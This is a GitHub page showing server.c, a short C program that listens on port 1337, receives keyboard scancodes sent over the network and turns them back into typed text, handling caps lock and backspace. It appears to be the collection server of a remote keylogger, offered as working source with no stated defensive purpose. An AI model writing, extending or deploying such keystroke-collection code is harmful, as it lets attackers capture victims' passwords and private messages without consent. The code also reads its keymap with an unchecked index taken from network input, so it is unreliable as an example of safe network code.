-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.c
96 lines (82 loc) · 2.33 KB
/
server.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
#include <strings.h>
#include <ctype.h>
#define SA struct sockaddr
#define PORT 1337
#define MAX 1024
int main(int argc, char **argv) {
/*
if (getuid() != 0) {
printf("[!] Please run as root!\n");
return 1;
}
*/
int listenfd, connfd, n;
struct sockaddr_in servaddr;
int recvKey[1], key;
char *keyMap = "..1234567890-=..qwertyuiop[]..asdfghjkl;'..\\zxcvbnm,./.'";
int caps = 0;
if ( (listenfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
perror("[!] ListenFD");
return 1;
}
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(PORT);
if ( (bind(listenfd, (SA *) &servaddr, sizeof(servaddr))) < 0 ){
perror("[!] Bind");
return 1;
}
if ( (listen(listenfd, 10)) < 0 ){
perror("[!] Listen");
return 1;
}
for ( ; ; ) {
memset(recvKey, 0, sizeof(recvKey));
printf("[*] Waiting for connection on port %d\n", PORT);
connfd = accept(listenfd, (SA *) NULL, NULL);
while ( (n = recv(connfd, &recvKey, sizeof(recvKey), 0)) > 0 ) {
key = recvKey[0];
switch (key) {
case 57:
putchar('\x20');
break;
case 28:
putchar('\x0A');
break;
case 14:
putchar('\x08');
putchar('\x20');
putchar('\x08');
break;
case 58:
if (!caps) {
caps++;
} else {
caps--;
}
break;
default:
if (caps) {
putchar(toupper(keyMap[key]));
} else {
putchar(keyMap[key]);
}
}
fflush(stdout);
}
if ( n < 0 ) {
perror("[!] Read");
return 1;
}
close(connfd);
}
}